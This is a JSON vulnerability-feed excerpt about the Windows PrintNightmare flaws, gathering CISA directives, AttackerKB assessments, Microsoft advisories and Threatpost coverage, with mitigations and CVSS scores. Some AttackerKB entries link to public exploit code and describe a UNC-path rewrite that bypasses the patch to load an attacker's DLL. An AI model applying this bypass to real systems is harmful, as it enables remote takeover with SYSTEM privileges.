"obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "CISA:6C836D217FB0329B2D68AD71789D1BB0", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/07/06/microsoft-releases-out-band-security-updates-printnightmare", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-01-26T11:32:30", "description": "CISA has issued [Emergency Directive (ED) 21-04: Mitigate Windows Print Spooler Service Vulnerability](<https://www.cisa.gov/emergency-directive-21-04>) addressing [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). Attackers can exploit this vulnerability to remotely execute code with system level privileges enabling a threat actor to quickly compromise the entire identity infrastructure of a targeted organization. \n\nSpecifically, ED 21-04 directs federal departments and agencies to immediately apply the [Microsoft July 2021 updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) and disable the print spooler service on servers on Microsoft Active Directory (AD) Domain Controllers (DCs).\n\nAlthough ED 21-04 applies to Executive Branch departments and agencies, CISA strongly recommends that state and local governments, private sector organizations, and others review [ED 21-04: Mitigate Windows Print Spooler Service Vulnerability](<https://www.cisa.gov/emergency-directive-21-04>) for additional mitigation recommendations.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/07/13/cisa-issues-emergency-directive-microsoft-windows-print-spooler>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-13T00:00:00", "type": "cisa", "title": "CISA Issues Emergency Directive on Microsoft Windows Print Spooler", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-01-25T00:00:00", "id": "CISA:4F4185688CEB9B9416A98FE75E7AFE02", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/07/13/cisa-issues-emergency-directive-microsoft-windows-print-spooler", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-03-16T11:35:47", "description": "CISA and the Federal Bureau of Investigation (FBI) have released a [joint Cybersecurity Advisory](<https://www.cisa.gov/uscert/ncas/alerts/aa22-074a>) that details how Russian state-sponsored cyber actors accessed a network with misconfigured default multifactor authentication (MFA) protocols. The actors then exploited a critical Windows Print Spooler vulnerability, \u201cPrintNightmare\u201d (CVE-2021-34527), to run arbitrary code with system privileges. The advisory provides observed tactics, techniques, and procedures, as well as indicators of compromise and mitigations to protect against this threat. \n\nCISA encourages users and administrators to review [AA22-074A: Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability](<https://www.cisa.gov/uscert/ncas/alerts/aa22-074a>). For general information on Russian state-sponsored malicious cyber activity, see [cisa.gov/Russia](<https://www.cisa.gov/uscert/russia>). For more information on the threat of Russian state-sponsored malicious cyber actors to U.S. critical infrastructure, as well as additional mitigation recommendations, see [AA22-011A: Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure](<https://www.cisa.gov/uscert/ncas/alerts/aa22-011a>) and [cisa.gov/shields-up](<https://www.cisa.gov/shields-up>).\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2022/03/15/russian-state-sponsored-cyber-actors-access-network-misconfigured>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-15T00:00:00", "type": "cisa", "title": "Russian State-Sponsored Cyber Actors Access Network Misconfigured with Default MFA Protocols", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-03-15T00:00:00", "id": "CISA:91DA945EA20AF1A221FDE02A2D9CE315", "href": "https://us-cert.cisa.gov/ncas/current-activity/2022/03/15/russian-state-sponsored-cyber-actors-access-network-misconfigured", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2023-10-18T16:33:50", "description": "Windows Print Spooler Remote Code Execution Vulnerability\n\n \n**Recent assessments:** \n \n**kevthehermit** at June 30, 2021 1:53pm UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\n**andretorresbr** at July 02, 2021 2:37am UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\n**architect00** at July 01, 2021 1:46pm UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\n**NinjaOperator** at June 29, 2021 5:55pm UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\n**ccondon-r7** at July 01, 2021 1:43pm UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "attackerkb", "title": "CVE-2021-1675", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2023-10-07T00:00:00", "id": "AKB:CDA9C43E-015D-4B04-89D3-D6CABC5729B9", "href": "https://attackerkb.com/topics/dI1bxlM0ay/cve-2021-1675", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-10-18T16:38:40", "description": "Windows Print Spooler Remote Code Execution Vulnerability\n\n \n**Recent assessments:** \n \n**zeroSteiner** at July 08, 2021 5:09pm UTC reported:\n\nCVE-2021-34527 is related to the previous CVE-2021-1675. This fixes a vulnerability whereby an authenticated attacker can connect to the remote print service (via either MS-RPRN or MS-PAR) and add a driver using a custom DLL. Upon successful exploitation, the Print Spool service would load the attacker controlled DLL from either a remote UNC path or a local path. In both cases, the DLL is then executed with NT AUTHORITY\\SYSTEM privileges.\n\nThe patch for CVE-2021-34527 is effective at preventing this attack **only when Point and Print** is disabled, which is the default setting. This can be configured by ensuring the registry key `HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint NoWarningNoElevationOnInstall` is 0. The system does not need to be rebooted to enforce the changed registry key. If that registry key is defined as 1, the vulnerability can still be exploited. With Point and Print enabled, a standard UNC path used over the MS-RPRN vector (via `RpcAddPrinterDriverEx`) will fail with `ERROR_INVALID_PARAMETER`. This can be bypassed by converting the UNC path from the standard syntax (`\\\\1.2.3.4\\public\\payload.dll`) to the alternative syntax (`\\??\\UNC\\1.2.3.4\\public\\payload.dll`).\n\nWith the patches applied and Point and Print disabled, the affected calls to `RpcAddPrinterDriverEx` will return ERROR_ACCESS_DENIED.\n\n**ccondon-r7** at July 08, 2021 12:12am UTC reported:\n\nCVE-2021-34527 is related to the previous CVE-2021-1675. This fixes a vulnerability whereby an authenticated attacker can connect to the remote print service (via either MS-RPRN or MS-PAR) and add a driver using a custom DLL. Upon successful exploitation, the Print Spool service would load the attacker controlled DLL from either a remote UNC path or a local path. In both cases, the DLL is then executed with NT AUTHORITY\\SYSTEM privileges.\n\nThe patch for CVE-2021-34527 is effective at preventing this attack **only when Point and Print** is disabled, which is the default setting. This can be configured by ensuring the registry key `HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint NoWarningNoElevationOnInstall` is 0. The system does not need to be rebooted to enforce the changed registry key. If that registry key is defined as 1, the vulnerability can still be exploited. With Point and Print enabled, a standard UNC path used over the MS-RPRN vector (via `RpcAddPrinterDriverEx`) will fail with `ERROR_INVALID_PARAMETER`. This can be bypassed by converting the UNC path from the standard syntax (`\\\\1.2.3.4\\public\\payload.dll`) to the alternative syntax (`\\??\\UNC\\1.2.3.4\\public\\payload.dll`).\n\nWith the patches applied and Point and Print disabled, the affected calls to `RpcAddPrinterDriverEx` will return ERROR_ACCESS_DENIED.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-02T00:00:00", "type": "attackerkb", "title": "CVE-2021-34527 \"PrintNightmare\"", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-05-25T00:00:00", "id": "AKB:7575B82F-7B7A-4416-B1AA-B8A2DF4D0800", "href": "https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-10-18T16:42:20", "description": "Microsoft discovered a remote code execution (RCE) vulnerability in the SolarWinds Serv-U product utilizing a Remote Memory Escape Vulnerability. If exploited, a threat actor may be able to gain privileged access to the machine hosting Serv-U Only. SolarWinds Serv-U Managed File Transfer and Serv-U Secure FTP for Windows before 15.2.3 HF2 are affected by this vulnerability.\n\n \n**Recent assessments:** \n \n**NinjaOperator** at July 12, 2021 4:00pm UTC reported:\n\nSolarWinds was recently notified by Microsoft of a security vulnerability (RCE) related to Serv-U Managed File Transfer Server and Serv-U Secured FTP and have developed a hotfix to resolve this vulnerability. While Microsoft\u2019s research indicates this vulnerability exploit involves a limited, targeted set of customers and a single threat actor, our joint teams have mobilized to address it quickly.\n\nThe vulnerability exists in the latest Serv-U version 15.2.3 HF1 released May 5, 2021, and all prior versions. A threat actor who successfully exploits CVE-2021-34527 can run arbitrary code with SYSTEM privileges and install programs; view, change, or delete data, and run programs.\n\n**wvu-r7** at July 22, 2021 4:35pm UTC reported:\n\nSolarWinds was recently notified by Microsoft of a security vulnerability (RCE) related to Serv-U Managed File Transfer Server and Serv-U Secured FTP and have developed a hotfix to resolve this vulnerability. While Microsoft\u2019s research indicates this vulnerability exploit involves a limited, targeted set of customers and a single threat actor, our joint teams have mobilized to address it quickly.\n\nThe vulnerability exists in the latest Serv-U version 15.2.3 HF1 released May 5, 2021, and all prior versions. A threat actor who successfully exploits CVE-2021-34527 can run arbitrary code with SYSTEM privileges and install programs; view, change, or delete data, and run programs.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-13T00:00:00", "type": "attackerkb", "title": "CVE-2021-35211", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527", "CVE-2021-35211"], "modified": "2023-10-07T00:00:00", "id": "AKB:9ADF44D2-FA0D-4643-8B97-8B46983B6917", "href": "https://attackerkb.com/topics/Toj3cA6kd7/cve-2021-35211", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "mscve": [{"lastseen": "2023-12-07T17:05:50", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T07:00:00", "type": "mscve", "title": "Windows Print Spooler Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-02T07:00:00", "id": "MS:CVE-2021-1675", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-07T17:05:42", "description": "A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nUPDATE July 7, 2021: The security update for Windows Server 2012, Windows Server 2016 and Windows 10, Version 1607 have been released. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. If you are unable to install these updates, see the FAQ and Workaround sections in this CVE for information on how to help protect your system from this vulnerability.\n\nIn addition to installing the updates, in order to secure your system, you must confirm that the following registry settings are set to 0 (zero) or are not defined (**Note**: These registry keys do not exist by default, and therefore are already at the secure setting.), also that your Group Policy setting are correct (see FAQ):\n\n * HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint\n * NoWarningNoElevationOnInstall = 0 (DWORD) or not defined (default setting)\n * UpdatePromptSettings = 0 (DWORD) or not defined (default setting)\n\n**Having NoWarningNoElevationOnInstall set to 1 makes your system vulnerable by design.**\n\nUPDATE July 6, 2021: Microsoft has completed the investigation and has released security updates to address this vulnerability. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. If you are unable to install these updates, see the FAQ and Workaround sections in this CVE for information on how to help protect your system from this vulnerability. See also [KB5005010: Restricting installation of new printer drivers after applying the July 6, 2021 updates](<https://support.microsoft.com/topic/31b91c02-05bc-4ada-a7ea-183b129578a7>).\n\nNote that the security updates released on and after July 6, 2021 contain protections for CVE-2021-1675 and the additional remote code execution exploit in the Windows Print Spooler service known as \u201cPrintNightmare\u201d, documented in CVE-2021-34527.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-01T07:00:00", "type": "mscve", "title": "Windows Print Spooler Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2023-06-13T07:00:00", "id": "MS:CVE-2021-34527", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2021-07-08T07:53:10", "description": "Microsoft has released an emergency patch for the PrintNightmare, a set of two critical remote code-execution (RCE) vulnerabilities in the Windows Print Spooler service that hackers can use to take over an infected system. However, more fixes are necessary before all Windows systems affected by the bug are completely protected, according to the federal government.\n\nMicrosoft on Tuesday released an [out-of-band update](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) for several versions of Windows to address [CVE-2021-34527](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527>), the second of two bugs that were initially thought to be one flaw and which have been dubbed PrintNightmare by security researchers.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nHowever, the latest fix only appears to address the RCE variants of PrintNightmare, and not the local privilege escalation (LPE) variant, according to an [advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/07/06/microsoft-releases-out-band-security-updates-printnightmare>) by the Cybersecurity Infrastructure and Security Administration (CISA), citing a [VulNote](<https://www.kb.cert.org/vuls/id/383432>) published by the CERT Coordination Center (CERT/CC).\n\nMoreover, the updates do not include Windows 10 version 1607, Windows Server 2012 or Windows Server 2016, which will be patched at a later date, according to CERT/CC.\n\n## **A Tale of Two Vulnerabilities**\n\nThe PrintNightmare saga [began last Tuesday](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) when a proof-of-concept (PoC) exploit for the vulnerability \u2014 at that time tracked as CVE-2021-1675 \u2014 was dropped on GitHub showing how an attacker can exploit the vulnerability to take control of an affected system. While it was taken back down within a few hours, the code was copied and remains in circulation on the platform.\n\nThe response to the situation soon turned into confusion. Though Microsoft released an [patch for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>) in it its usual raft of [monthly Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>), addressing what it thought was a minor EoP vulnerability, the listing was updated later in the week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, it soon became clear to many experts that Microsoft\u2019s initial patch didn\u2019t fix the entire problem. CERT/CC on Thursday offered its own workaround for PrintNightmare, advising system administrators to disable the Windows Print Spooler service in Domain Controllers and systems that do not print.\n\nTo further complicate matters, Microsoft also last Thursday dropped [a notice](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appeared to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote in the advisory at the time. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\n## **Microsoft Issues Incomplete Patch**\n\nThe fix released this week addresses CVE-2021-34527, and includes protections for CVE-2021-1675, according to the CISA, which is encouraging users and administrators to review the [Microsoft Security Updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) as well as [CERT/CC Vulnerability Note VU #383432](<https://www.kb.cert.org/vuls/id/383432>) and apply the necessary updates or workarounds.\n\nBut as noted, it won\u2019t fix all systems.\n\nSo, in cases where a system is not protected by the patch, Microsoft is offering several workarounds for PrintNightmare. One is very similar to the federal government\u2019s solution from last week: To stop and disable the Print Spooler service \u2014 and thus the ability to print both locally and remotely \u2014 by using the following PowerShell commands: Stop-Service -Name Spooler -Force and Set-Service -Name Spooler -StartupType Disabled.\n\nThe second workaround is to disable inbound remote printing through Group Policy by disabling the \u201cAllow Print Spooler to accept client connections\u201d policy to block remote attacks, and then restarting the system. In this case, the system will no longer function as a print server, but local printing to a directly attached device will still be possible.\n\nAnother potential option to prevent remote exploitation of the bug that has worked in \u201climited testing\u201d is to block both the RPC Endpoint Mapper (135/tcp) and SMB (139/tcp and 445/tcp) at the firewall level, according to CERT/CC. However, \u201cblocking these ports on a Windows system may prevent expected capabilities from functioning properly, especially on a system that functions as a server,\u201d the center advised.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-07-07T10:55:02", "type": "threatpost", "title": "Microsoft Releases Emergency Patch for PrintNightmare Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-07T10:55:02", "id": "THREATPOST:6F7C157D4D3EB409080D90F02185E728", "href": "https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-19T16:25:33", "description": "Microsoft has warned of yet another vulnerability that\u2019s been discovered in its Windows Print Spooler that can allow attackers to elevate privilege to gain full user rights to a system. The advisory comes on the heels of patching two other remote code-execution (RCE) bugs found in the print service that collectively became known as PrintNightmare.\n\nThe company released [the advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) late Thursday for the latest bug, a Windows Print Spooler elevation-of-privilege vulnerability tracked as [CVE-2021-34481](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34481>). Microsoft credited Dragos vulnerability researcher Jacob Baines for identifying the issue.\n\nThe vulnerability \u201cexists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to Microsoft.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAttackers who successfully exploit the bug can run arbitrary code with SYSTEM privileges, allowing them to install programs, view, change or delete data, or create new accounts with full user rights, the company said.\n\nTo work around the bug, administrators and users should stop and disable the Print Spooler service, Microsoft said.\n\n## **Slightly Less of a \u2018PrintNightmare\u2019**\n\nThe vulnerability is the latest in a flurry of problems discovered in Windows Print Spooler, but seems slightly less dangerous, as it can only be exploited locally. It rates 7.8 out of 10 on the CVSS vulnerability-severity scale.\n\nIndeed, [Baines told BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/microsoft-shares-guidance-on-new-windows-print-spooler-vulnerability/>) that while the bug is print driver-related, \u201cthe attack is not really related to PrintNightmare.\u201d Baines plans to disclose more about the little-known vulnerability in [an upcoming 